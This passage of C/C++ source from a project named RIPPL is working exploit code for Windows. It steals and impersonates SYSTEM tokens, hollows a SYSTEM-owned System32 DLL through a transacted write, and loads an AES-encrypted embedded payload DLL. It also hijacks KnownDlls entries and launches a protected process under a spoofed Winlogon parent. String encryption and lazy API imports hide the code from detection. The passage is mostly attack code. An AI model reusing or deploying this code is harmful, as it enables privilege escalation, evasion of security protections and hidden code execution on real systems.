BOOL bReturnValue = FALSE; HANDLE hProcessToken = NULL; LPWSTR pwszStringSid = NULL; if (!OpenProcessToken(LI_FN(GetCurrentProcess)(), TOKEN_QUERY, &hProcessToken)) { PRINTLASTERROR(L"OpenProcessToken"); goto end; } if (!TokenGetSidAsString(hProcessToken, &pwszStringSid)) goto end; *pbResult = _wcsicmp(pwszStringSid, skCrypt(L"S-1-5-18")) == 0; bReturnValue = TRUE; end: if (pwszStringSid) LocalFree(pwszStringSid); if (hProcessToken) CloseHandle(hProcessToken); return bReturnValue; } _Success_(return) BOOL GetHijackableDllName(_Out_ LPWSTR* ppwszDllName) { if (!ppwszDllName) return FALSE; *ppwszDllName = (LPWSTR)LocalAlloc(LPTR, 64 * sizeof(WCHAR)); if (!*ppwszDllName) return FALSE; if (IsWindows10OrGreater()) { auto hijackedDll = skCrypt(L"EventAggregation.dll").decrypt(); StringCchPrintf(*ppwszDllName, 64, skCrypt(L"%ws"), hijackedDll); return TRUE; } if (IsWindows8Point1OrGreater()) { auto hijackedDll = skCrypt(L"SspiCli.dll").decrypt(); StringCchPrintfW(*ppwszDllName, 64, skCrypt(L"%ws"), hijackedDll); return TRUE; } LocalFree(*ppwszDllName); return FALSE; } _Success_(return) BOOL GetPayloadDll(_Out_ LPVOID * ppBuffer, _Out_ PDWORD pdwSize) { BOOL bReturnValue = FALSE; HRSRC hResource = NULL; HGLOBAL hResourceData = NULL; DWORD dwResourceSize = 0; LPVOID lpData = NULL; if (!(hResource = FindResource(NULL, MAKEINTRESOURCE(IDR_RCDATA1), RT_RCDATA))) { PRINTLASTERROR(L"FindResource"); return FALSE; } if (!(dwResourceSize = SizeofResource(NULL, hResource))) { PRINTLASTERROR(L"SizeofResource"); return FALSE; } if (!(hResourceData = LoadResource(NULL, hResource))) { PRINTLASTERROR(L"LoadResource"); return FALSE; } if (!(lpData = LockResource(hResourceData))) { PRINTLASTERROR(L"LockResource"); return FALSE; } *ppBuffer = lpData; *pdwSize = dwResourceSize; return TRUE; } _Success_(return) BOOL FindFileForTransaction(_In_ DWORD dwMinSize, _Out_ LPWSTR* ppwszFilePath) { BOOL bReturnValue = FALSE; WCHAR wszSearchPath[MAX_PATH] = { 0 }; WCHAR wszFilePath[MAX_PATH] = { 0 }; WIN32_FIND_DATA wfd = { 0 }; HANDLE hFind = NULL; HANDLE hFile = NULL; PSID pSidOwner = NULL; PSECURITY_DESCRIPTOR pSD = NULL; DWORD dwFileSize = 0; PSID pSidTarget = NULL; ConvertStringSidToSidW(skCrypt(L"S-1-5-18"), &pSidTarget); GetSystemDirectoryW(wszSearchPath, MAX_PATH); // C:\Windows\System32 StringCchCatW(wszSearchPath, MAX_PATH, skCrypt(L"\\*.dll")); // C:\Windows\System32\*.dll if ((hFind = FindFirstFileW(wszSearchPath, &wfd)) != INVALID_HANDLE_VALUE) { do { GetSystemDirectory(wszFilePath, MAX_PATH); StringCchCat(wszFilePath, MAX_PATH, skCrypt(L"\\")); StringCchCat(wszFilePath, MAX_PATH, wfd.cFileName); if (hFile = LI_FN(CreateFileW)(wszFilePath, GENERIC_READ, FILE_SHARE_READ, nullptr, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, nullptr)) { dwFileSize = GetFileSize(hFile, NULL); if (dwFileSize != INVALID_FILE_SIZE && dwFileSize > dwMinSize) { if (GetSecurityInfo(hFile, SE_FILE_OBJECT, OWNER_SECURITY_INFORMATION, &pSidOwner, NULL, NULL, NULL, &pSD) == ERROR_SUCCESS) { if (TokenCompareSids(pSidOwner, pSidTarget)) { *ppwszFilePath = (LPWSTR)LocalAlloc(LPTR, MAX_PATH * sizeof(WCHAR)); if (*ppwszFilePath) { StringCchPrintfW(*ppwszFilePath, MAX_PATH, skCrypt(L"%ws"), wszFilePath); bReturnValue = TRUE; } } } } CloseHandle(hFile); } } while (FindNextFileW(hFind, &wfd) && !bReturnValue); FindClose(hFind); } return bReturnValue; } _Success_(return) BOOL WritePayloadDllTransacted(_Out_ PHANDLE pdhFile) { // // This implementation was inspired by the DLL Hollowing technique, discussed by @_ForrestOrr // in this blog post: Masking Malicious Memory Artifacts Part I: Phantom DLL Hollowing // https://www.forrest-orr.net/post/malicious-memory-artifacts-part-i-dll-hollowing // This trick is awesome! :) // // Here is the idea. Rather than writing our embedded DLL to disk, we open an existing DLL file // as a transaction operation. Then, we replace the content of the DLL with our own. To so, we // search for an existing DLL file in C:\Windows\System32. We assume we are executing this code // as SYSTEM but still, this is not sufficient as we need to open the target file with write // access even though the file will not be modified. As most of the files are owned by Trusted- // Installer, we need to find one which is owned by SYSTEM and also make sure that it is big // enough so that we can copy our own DLL. // // Note: actually, in our case, it doesn't matter whether the target file is a DLL or a regular // file. But hey, this works just fine. ;) // BOOL bReturnValue = FALSE; HRSRC hResource = NULL; HGLOBAL hResourceData = NULL; DWORD dwResourceSize = 0; LPVOID lpData = NULL; LPWSTR pwszTargetFile = NULL; NTSTATUS status = 0; OBJECT_ATTRIBUTES oa = { sizeof(OBJECT_ATTRIBUTES) }; HANDLE hTransaction = NULL; HANDLE hTransactedFile = NULL; DWORD dwBytesWritten = 0; BYTE key[] = AESKEY; BYTE iv[] = IV; if (hResource = FindResource(NULL, MAKEINTRESOURCE(IDR_RCDATA1), RT_RCDATA)) { dwResourceSize = LI_FN(SizeofResource)(nullptr, hResource); if (hResourceData = LI_FN(LoadResource)(nullptr, hResource)) { lpData = LI_FN(LockResource)(hResourceData); } } if (!lpData || !dwResourceSize) return FALSE; PRINTDEBUG(L"Loaded payload DLL, image size: %d bytes\n", dwResourceSize); auto lpDecryptedDll = LI_FN(VirtualAlloc)(nullptr, dwResourceSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); if (lpDecryptedDll) { RtlMoveMemory(lpDecryptedDll, lpData, dwResourceSize); if (!AESDecrypt((BYTE*)lpDecryptedDll, dwResourceSize, key, sizeof(key), iv, sizeof(iv))) return FALSE; } else return FALSE; // // Find a legtimate DLL file to "hollow". It must not be owned by TrustedInstaller and it must // be big enough so that we can copy our payload into the transacted file. // if (!FindFileForTransaction(dwResourceSize, &pwszTargetFile)) return FALSE; PRINTDEBUG(L"Found file for transaction: %ws\n", pwszTargetFile); status = LI_FN(NtCreateTransaction)(&hTransaction, TRANSACTION_ALL_ACCESS, &oa, nullptr, nullptr, 0, 0, 0, nullptr, nullptr); if (status != 0) { SetLastError(LI_FN(RtlNtStatusToDosError)(status)); PRINTLASTERROR(L"NtCreateTransaction"); goto end; } // // Open a legitimate DLL file as a transaction operation. // hTransactedFile = LI_FN(CreateFileTransactedW)(pwszTargetFile, GENERIC_READ | GENERIC_WRITE, 0, nullptr, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, nullptr, hTransaction, nullptr, nullptr); if (hTransactedFile == INVALID_HANDLE_VALUE) { PRINTLASTERROR(L"CreateFileTransacted"); goto end; } PRINTDEBUG(L"Opened file '%ws' for transaction.\n", pwszTargetFile); // // Replace the content of the legitimate file with our own DLL payload. It's important to note // that the file on disk is not altered. // if (!LI_FN(WriteFile)(hTransactedFile, lpDecryptedDll, dwResourceSize, &dwBytesWritten, nullptr)) { PRINTLASTERROR(L"WriteFile"); goto end; } PRINTDEBUG(L"Wrote %d bytes of embedded payload DLL to transacted file.\n", dwBytesWritten, pwszTargetFile); *pdhFile = hTransactedFile; bReturnValue = TRUE; end: if (pwszTargetFile) LocalFree(pwszTargetFile); return bReturnValue; } _Success_(return) BOOL FindProcessTokenAndDuplicate(_In_ LPCWSTR pwszTargetSid, _Out_ PHANDLE phToken, _In_opt_ LPCWSTR pwszPrivileges[], _In_ DWORD dwPrivilegeCount) { BOOL bReturnValue = FALSE; PSID pTargetSid = NULL; PVOID pBuffer = NULL; PSYSTEM_PROCESS_INFORMATION pProcInfo = NULL; HANDLE hProcess = NULL, hToken = NULL, hTokenDup = NULL; DWORD dwReturnedLen = 0, dwBufSize = 0x1000, dwSessionId = 0; PSID pSidTmp = NULL; NTSTATUS status = STATUS_INFO_LENGTH_MISMATCH; LPWSTR pwszUsername = NULL; if (!ConvertStringSidToSidW(pwszTargetSid, &pTargetSid)) goto end; while (TRUE) { pBuffer = LocalAlloc(LPTR, dwBufSize); if (!pBuffer || status != STATUS_INFO_LENGTH_MISMATCH) break; status = LI_FN(NtQuerySystemInformation)((SYSTEM_INFORMATION_CLASS)SystemProcessInformation, pBuffer, dwBufSize, &dwReturnedLen); if (NT_SUCCESS(status)) { pProcInfo = (PSYSTEM_PROCESS_INFORMATION)pBuffer; while (TRUE) { if (hProcess = LI_FN(OpenProcess)(PROCESS_QUERY_INFORMATION, FALSE, PtrToUlong(pProcInfo->UniqueProcessId))) { if (OpenProcessToken(hProcess, TOKEN_QUERY | TOKEN_DUPLICATE, &hToken)) { if (LI_FN(DuplicateTokenEx)(hToken, MAXIMUM_ALLOWED, nullptr, SecurityImpersonation, TokenImpersonation, &hTokenDup)) { if (TokenGetSid(hTokenDup, &pSidTmp) && TokenGetUsername(hTokenDup, &pwszUsername)) { if (TokenCompareSids(pSidTmp, pTargetSid)) { PRINTDEBUG(L"Found a potential Process candidate: PID=%d - Image='%ws' - User='%ws'\n", PtrToUlong(pProcInfo->UniqueProcessId), pProcInfo->ImageName.Buffer, pwszUsername); BOOL bTokenIsNotRestricted = FALSE; TokenIsNotRestricted(hTokenDup, &bTokenIsNotRestricted); if (bTokenIsNotRestricted) PRINTDEBUG(L"This token is not restricted.\n"); else PRINTDEBUG(L"This token is restricted.\n"); if (bTokenIsNotRestricted) { if (pwszPrivileges && dwPrivilegeCount != 0) { DWORD dwPrivilegeFound = 0; for (DWORD i = 0; i < dwPrivilegeCount; i++) { if (TokenCheckPrivilege(hTokenDup, pwszPrivileges[i], FALSE)) dwPrivilegeFound++; } PRINTDEBUG(L"Found %d/%d required privileges in token.\n", dwPrivilegeFound, dwPrivilegeCount); if (dwPrivilegeFound == dwPrivilegeCount) { PRINTDEBUG(L"Found a valid Token candidate.\n"); *phToken = hTokenDup; bReturnValue = TRUE; } } else { PRINTDEBUG(L"Found a valid Token.\n"); *phToken = hTokenDup; bReturnValue = TRUE; } } } LocalFree(pSidTmp); LocalFree(pwszUsername); } if (!bReturnValue) CloseHandle(hTokenDup); } CloseHandle(hToken); } CloseHandle(hProcess); } // If we found a valid token, stop if (bReturnValue) break; // If next entry is null, stop if (!pProcInfo->NextEntryOffset) break; // Increment SYSTEM_PROCESS_INFORMATION pointer pProcInfo = (PSYSTEM_PROCESS_INFORMATION)((PBYTE)pProcInfo + pProcInfo->NextEntryOffset); } } LocalFree(pBuffer); dwBufSize <<= 1; } end: if (pTargetSid) LocalFree(pTargetSid); return bReturnValue; } _Success_(return) BOOL Impersonate(_In_ HANDLE hToken) { HANDLE hThread = LI_FN(GetCurrentThread)(); // Pseudo handle, does not need to be closed if (!SetThreadToken(&hThread, hToken)) { PRINTLASTERROR(L"SetThreadToken"); return FALSE; } return TRUE; } _Success_(return) BOOL ImpersonateUser(_In_ LPCWSTR pwszSid, _Out_ PHANDLE phToken, _In_opt_ LPCWSTR pwszPrivileges[], _In_ DWORD dwPrivilegeCount) { BOOL bReturnValue = FALSE; HANDLE hCurrentProcessToken = NULL; HANDLE hToken = NULL; HANDLE hCurrentThread = NULL; if (!OpenProcessToken(LI_FN(GetCurrentProcess)(), MAXIMUM_ALLOWED, &hCurrentProcessToken)) { PRINTLASTERROR(L"OpenProcessToken"); goto end; } if (!TokenCheckPrivilege(hCurrentProcessToken, skCrypt(L"SeDebugPrivilege"), TRUE)) goto end; if (!TokenCheckPrivilege(hCurrentProcessToken, skCrypt(L"SeImpersonatePrivilege"), TRUE)) goto end; if (!FindProcessTokenAndDuplicate(pwszSid, &hToken, pwszPrivileges, dwPrivilegeCount)) goto end; if (!Impersonate(hToken)) goto end; *phToken = hToken; bReturnValue = TRUE; end: if (hCurrentProcessToken) CloseHandle(hCurrentProcessToken); return bReturnValue; } _Success_(return) BOOL ImpersonateSystem(_Out_ PHANDLE phSystemToken) { auto seDebug = skCrypt(L"SeDebugPrivilege"); auto seAssign = skCrypt(L"SeAssignPrimaryTokenPrivilege"); LPCWSTR pwszPrivileges[2] = { seDebug, seAssign }; return ImpersonateUser(skCrypt(L"S-1-5-18"), phSystemToken, pwszPrivileges, sizeof(pwszPrivileges) / sizeof(*pwszPrivileges)); } _Success_(return) BOOL ImpersonateLocalService(_Out_ PHANDLE phLocalServiceToken) { return ImpersonateUser(skCrypt(L"S-1-5-19"), phLocalServiceToken, NULL, 0); } _Success_(return) BOOL CheckKnownDllSymbolicLink(_In_ LPCWSTR pwszDllName, _In_ LPWSTR pwszTarget) { BOOL bReturnValue = FALSE; NTSTATUS status = 0; LPWSTR pwszLinkName = NULL; OBJECT_ATTRIBUTES oa = { 0 }; UNICODE_STRING name = { 0 }; UNICODE_STRING target = { 0 }; LPWSTR pwszTargetLocal = NULL; HANDLE hLink = NULL; ULONG length = 0; pwszLinkName = (LPWSTR)LocalAlloc(LPTR, MAX_PATH * sizeof(WCHAR)); if (!pwszLinkName) goto end; pwszTargetLocal = (LPWSTR)LocalAlloc(LPTR, MAX_PATH * sizeof(WCHAR)); if (!pwszTargetLocal) goto end; StringCchPrintfW(pwszLinkName, MAX_PATH, skCrypt(L"\\KnownDlls\\%ws"), pwszDllName); LI_FN(RtlInitUnicodeString)(&name, pwszLinkName); InitializeObjectAttributes(&oa, &name, OBJ_CASE_INSENSITIVE, NULL, NULL); status = LI_FN(NtOpenSymbolicLinkObject)(&hLink, SYMBOLIC_LINK_QUERY, &oa); SetLastError(LI_FN(RtlNtStatusToDosError)(status)); if (status != 0) { PRINTLASTERROR(L"NtOpenSymbolicLinkObject"); goto end; } target.Buffer = pwszTargetLocal; target.Length = 0; target.MaximumLength = MAX_PATH * sizeof(WCHAR); status = LI_FN(NtQuerySymbolicLinkObject)(hLink, &target, &length); SetLastError(LI_FN(RtlNtStatusToDosError)(status)); if (status != 0) { PRINTLASTERROR(L"NtQuerySymbolicLinkObject"); goto end; } bReturnValue = _wcsicmp(target.Buffer, pwszTarget) == 0; end: if (pwszLinkName) LocalFree(pwszLinkName); if (pwszTargetLocal) LocalFree(pwszTargetLocal); if (hLink) CloseHandle(hLink); return bReturnValue; } _Success_(return) BOOL MapDll(_In_ LPWSTR pwszSectionName, _Out_ PHANDLE phSection) { BOOL bReturnValue = FALSE; OBJECT_ATTRIBUTES oa = { 0 }; UNICODE_STRING sectionName = { 0 }; NTSTATUS status = 0; HANDLE hSection = NULL; HANDLE hDllTransacted = NULL; if (!WritePayloadDllTransacted(&hDllTransacted)) goto end; LI_FN(RtlInitUnicodeString)(§ionName, pwszSectionName); InitializeObjectAttributes(&oa, §ionName, OBJ_CASE_INSENSITIVE, NULL, NULL); // // According to the documentation, the SEC_IMAGE attribute must be combined with the page // protection value PAGE_READONLY. But the page protection has actually no effect because the // page protection is determined by the executable file itself. // https://docs.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-createfilemappinga // status = LI_FN(NtCreateSection)(&hSection, SECTION_ALL_ACCESS, &oa, nullptr, PAGE_READONLY, SEC_IMAGE, hDllTransacted); if (status != STATUS_SUCCESS) { SetLastError(LI_FN(RtlNtStatusToDosError)(status)); PRINTLASTERROR(L"NtCreateSection"); goto end; } *phSection = hSection; bReturnValue = TRUE; end: if (hDllTransacted) CloseHandle(hDllTransacted); return bReturnValue; } _Success_(return) BOOL UnmapDll(_In_ HANDLE hSection) { NTSTATUS status = 0; status = LI_FN(NtClose)(hSection); if (status != STATUS_SUCCESS) { SetLastError(LI_FN(RtlNtStatusToDosError)(status)); PRINTLASTERROR(L"NtClose"); return FALSE; } return TRUE; } _Success_(return) BOOL PrepareCommandLine(_In_ DWORD dwProcessId, _In_ LPWSTR pwszFilePath, _In_ LPWSTR pwszRandomGuid, _In_ int intMode, _Out_ LPWSTR* ppwszCommandLine) { auto pplBinary = skCrypt(L"services.exe").decrypt(); BOOL bReturnValue = FALSE; const size_t size = 32767; LPWSTR pwszSystemDirectory = NULL; *ppwszCommandLine = (LPWSTR)LocalAlloc(LPTR, size * sizeof(WCHAR)); if (!*ppwszCommandLine) goto end; pwszSystemDirectory = (LPWSTR)LocalAlloc(LPTR, (MAX_PATH + 1) * sizeof(WCHAR)); if (!pwszSystemDirectory) goto end; GetSystemDirectory(pwszSystemDirectory, MAX_PATH); StringCchPrintfW(*ppwszCommandLine, size, skCrypt(L"%ws\\%ws %d %d %d \"%ws\" %ws"), pwszSystemDirectory, pplBinary, LI_FN(GetCurrentProcessId)(), dwProcessId, g_intExecutionMode, pwszFilePath, pwszRandomGuid); if (g_bDebug) StringCchCatW(*ppwszCommandLine, size, skCrypt(L" -d")); bReturnValue = TRUE; end: if (pwszSystemDirectory) LocalFree(pwszSystemDirectory); return bReturnValue; } _Success_(return) BOOL CreateProtectedProcessAsUser(_In_ HANDLE hToken, _In_ LPWSTR pwszCommandLine, _Out_ PHANDLE phProcess) { STARTUPINFOEXW si = { 0 }; PROCESS_INFORMATION pi = { 0 }; SIZE_T attributeSize = 0; HANDLE hProcess = NULL; HANDLE parentProcessHandle; DWORD winlogonPid = 0; ZeroMemory(&si, sizeof(STARTUPINFOEXW)); si.StartupInfo.cb = sizeof(si); if (!ProcessGetPIDFromName(skCrypt(L"Winlogon.exe"), &winlogonPid)) { PRINTLASTERROR(L"ProcessGetPIDFromName"); return false; } else PRINTDEBUG(L"[*] Found Winlogon.exe process with PID %d\n", winlogonPid); parentProcessHandle = LI_FN(OpenProcess)(MAXIMUM_ALLOWED, FALSE, winlogonPid); if (!parentProcessHandle) { PRINTLASTERROR(L"OpenProcess in CreateProtectedProcessAsUser"); return false; } InitializeProcThreadAttributeList(nullptr, 1, 0, &attributeSize); si.lpAttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(GetProcessHeap(), 0, attributeSize); if (!si.lpAttributeList) { PRINTLASTERROR(L"HeapAlloc in CreateProtectedProcessAsUser"); return false; } InitializeProcThreadAttributeList(si.lpAttributeList, 1, 0, &attributeSize); UpdateProcThreadAttribute(si.lpAttributeList, 0, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &parentProcessHandle, sizeof(HANDLE), nullptr, nullptr); if (!LI_FN(CreateProcessAsUserW)(hToken, nullptr, pwszCommandLine, nullptr, nullptr, TRUE, CREATE_PROTECTED_PROCESS | EXTENDED_STARTUPINFO_PRESENT, nullptr, nullptr, &si.StartupInfo, &pi)) { PRINTLASTERROR(L"CreateProcessAsUser"); return FALSE; } if (pi.hProcess && pi.hThread) { *phProcess = pi.hProcess; CloseHandle(pi.hThread); return TRUE; } else return FALSE; } ================================================ FILE: RIPPL/exploit.h ================================================ #pragma once #include "utils.h" #include "resource.h" #include #ifndef STATUS_INFO_LENGTH_MISMATCH #define STATUS_INFO_LENGTH_MISMATCH ((NTSTATUS)0xC0000004L) #define THREAD_CREATE_FLAGS_BYPASS_PROCESS_FREEZE 0x40 #endif extern BOOL g_bDebug; extern BOOL g_bForce; _Success_(return) BOOL RunExploit(_In_ DWORD dwProcessId); _Success_(return) BOOL CheckRequirements(); _Success_(return) BOOL IsCurrentUserSystem(_Out_ PBOOL pbResult); _Success_(return) BOOL GetHijackableDllName(_Out_ LPWSTR* ppwszDllName); _Success_(return) BOOL GetPayloadDll(_Out_ LPVOID* ppBuffer, _Out_ PDWORD pdwSize); _Success_(return) BOOL FindFileForTransaction(_In_ DWORD dwMinSize, _Out_ LPWSTR* ppwszFilePath); _Success_(return) BOOL WritePayloadDllTransacted(_Out_ PHANDLE pdhFile); _Success_(return) BOOL FindProcessTokenAndDuplicate(_In_ LPCWSTR pwszTargetSid, _Out_ PHANDLE phToken, _In_opt_ LPCWSTR pwszPrivileges[], _In_ DWORD dwPrivilegeCount); _Success_(return) BOOL Impersonate(_In_ HANDLE hToken); _Success_(return) BOOL ImpersonateUser(_In_ LPCWSTR pwszSid, _Out_ PHANDLE phToken, _In_opt_ LPCWSTR pwszPrivileges[], _In_ DWORD dwPrivilegeCount); _Success_(return) BOOL ImpersonateSystem(_Out_ PHANDLE phSystemToken); _Success_(return) BOOL ImpersonateLocalService(_Out_ PHANDLE phLocalServiceToken); _Success_(return) BOOL CheckKnownDllSymbolicLink(_In_ LPCWSTR pwszDllName, _In_ LPWSTR pwszTarget); _Success_(return) BOOL MapDll(_In_ LPWSTR pwszSectionName, _Out_ PHANDLE phSection); _Success_(return) BOOL UnmapDll(_In_ HANDLE hSection); _Success_(return) BOOL PrepareCommandLine(_In_ DWORD dwProcessId, _In_ LPWSTR pwszFilePath, _In_ LPWSTR pwszRandomGuid, _In_ int intMode, _Out_ LPWSTR* ppwszCommandLine); _Success_(return) BOOL CreateProtectedProcessAsUser(_In_ HANDLE hToken, _In_ LPWSTR pwszCommandLine, _Out_ PHANDLE phProcess); ================================================ FILE: RIPPL/lazy_importer.hpp ================================================ #pragma once #ifndef LAZY_IMPORTER_HPP #define LAZY_IMPORTER_HPP #define LI_FN(name) ::li::detail::lazy_function() #define LI_FN_DEF(name) ::li::detail::lazy_function() #define LI_MODULE(name) ::li::detail::lazy_module() #ifndef LAZY_IMPORTER_CPP_FORWARD #ifdef LAZY_IMPORTER_NO_CPP_FORWARD #define LAZY_IMPORTER_CPP_FORWARD(t, v) v #else #include #define LAZY_IMPORTER_CPP_FORWARD(t, v) std::forward( v ) #endif #endif #include #ifndef LAZY_IMPORTER_NO_FORCEINLINE #if defined(_MSC_VER) #define LAZY_IMPORTER_FORCEINLINE __forceinline #elif defined(__GNUC__) && __GNUC__ > 3 #define LAZY_IMPORTER_FORCEINLINE inline __attribute__((__always_inline__)) #else #define LAZY_IMPORTER_FORCEINLINE inline #endif #else #define LAZY_IMPORTER_FORCEINLINE inline #endif #ifdef LAZY_IMPORTER_CASE_INSENSITIVE #define LAZY_IMPORTER_CASE_SENSITIVITY false #else #define LAZY_IMPORTER_CASE_SENSITIVITY true #endif #define LAZY_IMPORTER_STRINGIZE(x) #x #define LAZY_IMPORTER_STRINGIZE_EXPAND(x) LAZY_IMPORTER_STRINGIZE(x) #define LAZY_IMPORTER_KHASH(str) ::li::detail::khash(str, \ ::li::detail::khash_impl( __TIME__ __DATE__ LAZY_IMPORTER_STRINGIZE_EXPAND(__LINE__) LAZY_IMPORTER_STRINGIZE_EXPAND(__COUNTER__), 2166136261 )) namespace li { namespace detail { namespace win { struct LIST_ENTRY_T { const char* Flink; const char* Blink; }; struct UNICODE_STRING_T { unsigned short Length; unsigned short MaximumLength; wchar_t* Buffer; }; struct PEB_LDR_DATA_T { unsigned long Length; unsigned long Initialized; const char* SsHandle; LIST_ENTRY_T InLoadOrderModuleList; }; struct PEB_T { unsigned char Reserved1[2]; unsigned char BeingDebugged; unsigned char Reserved2[1]; const char* Reserved3[2]; PEB_LDR_DATA_T* Ldr; }; struct LDR_DATA_TABLE_ENTRY_T { LIST_ENTRY_T InLoadOrderLinks; LIST_ENTRY_T InMemoryOrderLinks; LIST_ENTRY_T InInitializationOrderLinks; const char* DllBase; const char* EntryPoint; union { unsigned long SizeOfImage; const char* _dummy; }; UNICODE_STRING_T FullDllName; UNICODE_STRING_T BaseDllName; LAZY_IMPORTER_FORCEINLINE const LDR_DATA_TABLE_ENTRY_T* load_order_next() const noexcept { return reinterpret_cast( InLoadOrderLinks.Flink); } }; struct IMAGE_DOS_HEADER { // DOS .EXE header unsigned short e_magic; // Magic number unsigned short e_cblp; // Bytes on last page of file unsigned short e_cp; // Pages in file unsigned short e_crlc; // Relocations unsigned short e_cparhdr; // Size of header in paragraphs unsigned short e_minalloc; // Minimum extra paragraphs needed unsigned short e_maxalloc; // Maximum extra paragraphs needed unsigned short e_ss; // Initial (relative) SS value unsigned short e_sp; // Initial SP value unsigned short e_csum; // Checksum unsigned short e_ip; // Initial IP value unsigned short e_cs; // Initial (relative) CS value unsigned short e_lfarlc; // File address of relocation table unsigned short e_ovno; // Overlay number unsigned short e_res[4]; // Reserved words unsigned short e_oemid; // OEM identifier (for e_oeminfo) unsigned short e_oeminfo; // OEM information; e_oemid specific unsigned short e_res2[10]; // Reserved words long e_lfanew; // File address of new exe header }; struct IMAGE_FILE_HEADER { unsigned short Machine; unsigned short NumberOfSections; unsigned long TimeDateStamp; unsigned long PointerToSymbolTable; unsigned long NumberOfSymbols; unsigned short SizeOfOptionalHeader; unsigned short Characteristics; }; struct IMAGE_EXPORT_DIRECTORY { unsigned long Characteristics; unsigned long TimeDateStamp; unsigned short MajorVersion; unsigned short MinorVersion; unsigned long Name; unsigned long Base; unsigned long NumberOfFunctions; unsigned long NumberOfNames; unsigned long AddressOfFunctions; // RVA from base of image unsigned long AddressOfNames; // RVA from base of image unsigned long AddressOfNameOrdinals; // RVA from base of image }; struct IMAGE_DATA_DIRECTORY { unsigned long VirtualAddress; unsigned long Size; }; struct IMAGE_OPTIONAL_HEADER64 { unsigned short Magic; unsigned char MajorLinkerVersion; unsigned char MinorLinkerVersion; unsigned long SizeOfCode; unsigned long SizeOfInitializedData; unsigned long SizeOfUninitializedData; unsigned long AddressOfEntryPoint; unsigned long BaseOfCode; unsigned long long ImageBase; unsigned long SectionAlignment; unsigned long FileAlignment; unsigned short MajorOperatingSystemVersion; unsigned short MinorOperatingSystemVersion; unsigned short MajorImageVersion; unsigned short MinorImageVersion; unsigned short MajorSubsystemVersion; unsigned short MinorSubsystemVersion; unsigned long Win32VersionValue; unsigned long SizeOfImage; unsigned long SizeOfHeaders; unsigned long CheckSum; unsigned short Subsystem; unsigned short DllCharacteristics; unsigned long long SizeOfStackReserve; unsigned long long SizeOfStackCommit; unsigned long long SizeOfHeapReserve; unsigned long long SizeOfHeapCommit; unsigned long LoaderFlags; unsigned long NumberOfRvaAndSizes; IMAGE_DATA_DIRECTORY DataDirectory[16]; }; struct IMAGE_OPTIONAL_HEADER32 { unsigned short Magic; unsigned char MajorLinkerVersion; unsigned char MinorLinkerVersion; unsigned long SizeOfCode; unsigned long SizeOfInitializedData; unsigned long SizeOfUninitializedData; unsigned long AddressOfEntryPoint; unsigned long BaseOfCode; unsigned long BaseOfData; unsigned long ImageBase; unsigned long SectionAlignment; unsigned long FileAlignment; unsigned short MajorOperatingSystemVersion; unsigned short MinorOperatingSystemVersion; unsigned short MajorImageVersion; unsigned short MinorImageVersion; unsigned short MajorSubsystemVersion; unsigned short MinorSubsystemVersion; unsigned long Win32VersionValue; unsigned long SizeOfImage; unsigned long SizeOfHeaders; unsigned long CheckSum; unsigned short Subsystem; unsigned short DllCharacteristics; unsigned long SizeOfStackReserve; unsigned long SizeOfStackCommit; unsigned long SizeOfHeapReserve; unsigned long SizeOfHeapCommit; unsigned long LoaderFlags; unsigned long NumberOfRvaAndSizes; IMAGE_DATA_DIRECTORY DataDirectory[16]; }; struct IMAGE_NT_HEADERS { unsigned long Signature; IMAGE_FILE_HEADER FileHeader; #ifdef _WIN64 IMAGE_OPTIONAL_HEADER64 OptionalHeader; #else IMAGE_OPTIONAL_HEADER32 OptionalHeader; #endif }; } // namespace win struct forwarded_hashes { unsigned module_hash; unsigned function_hash; }; // 64 bit integer where 32 bits are used for the hash offset // and remaining 32 bits are used for the hash computed using it using offset_hash_pair = unsigned long long; LAZY_IMPORTER_FORCEINLINE constexpr unsigned get_hash(offset_hash_pair pair) noexcept { return (pair & 0xFFFFFFFF); } LAZY_IMPORTER_FORCEINLINE constexpr unsigned get_offset(offset_hash_pair pair) noexcept { return (pair >> 32); } template LAZY_IMPORTER_FORCEINLINE constexpr unsigned hash_single(unsigned value, char c) noexcept { return static_cast( (value ^ ((CaseSensitive && c >= 'A' && c <= 'Z') ? (c | (1 << 5)) : c)) * static_cast(16777619)); } LAZY_IMPORTER_FORCEINLINE constexpr unsigned khash_impl(const char* str, unsigned value) noexcept { return (*str ? khash_impl(str + 1, hash_single(value, *str)) : value); } LAZY_IMPORTER_FORCEINLINE constexpr offset_hash_pair khash( const char* str, unsigned offset) noexcept { return ((offset_hash_pair{ offset } << 32) | khash_impl(str, offset)); } template LAZY_IMPORTER_FORCEINLINE unsigned hash(const CharT* str, unsigned offset) noexcept { unsigned value = offset; for (;;) { char c = *str++; if (!c) return value; value = hash_single(value, c); } } LAZY_IMPORTER_FORCEINLINE unsigned hash( const win::UNICODE_STRING_T& str, unsigned offset) noexcept { auto first = str.Buffer; const auto last = first + (str.Length / sizeof(wchar_t)); auto value = offset; for (; first != last; ++first) value = hash_single(value, static_cast(*first)); return value; } LAZY_IMPORTER_FORCEINLINE forwarded_hashes hash_forwarded( const char* str, unsigned offset) noexcept { forwarded_hashes res{ offset, offset }; for (; *str != '.'; ++str) res.module_hash = hash_single(res.module_hash, *str); ++str; for (; *str; ++str) res.function_hash = hash_single(res.function_hash, *str); return res; } // some helper functions LAZY_IMPORTER_FORCEINLINE const win::PEB_T* peb() noexcept { #if defined(_M_X64) || defined(__amd64__) return reinterpret_cast(__readgsqword(0x60)); #elif defined(_M_IX86) || defined(__i386__) return reinterpret_cast(__readfsdword(0x30)); #elif defined(_M_ARM) || defined(__arm__) return *reinterpret_cast(_MoveFromCoprocessor(15, 0, 13, 0, 2) + 0x30); #elif defined(_M_ARM64) || defined(__aarch64__) return *reinterpret_cast(__getReg(18) + 0x60); #elif defined(_M_IA64) || defined(__ia64__) return *reinterpret_cast(static_cast(_rdteb()) + 0x60); #else #error Unsupported platform. Open an issue and I'll probably add support. #endif } LAZY_IMPORTER_FORCEINLINE const win::PEB_LDR_DATA_T* ldr() { return reinterpret_cast(peb()->Ldr); } LAZY_IMPORTER_FORCEINLINE const win::IMAGE_NT_HEADERS* nt_headers( const char* base) noexcept { return reinterpret_cast( base + reinterpret_cast(base)->e_lfanew); } LAZY_IMPORTER_FORCEINLINE const 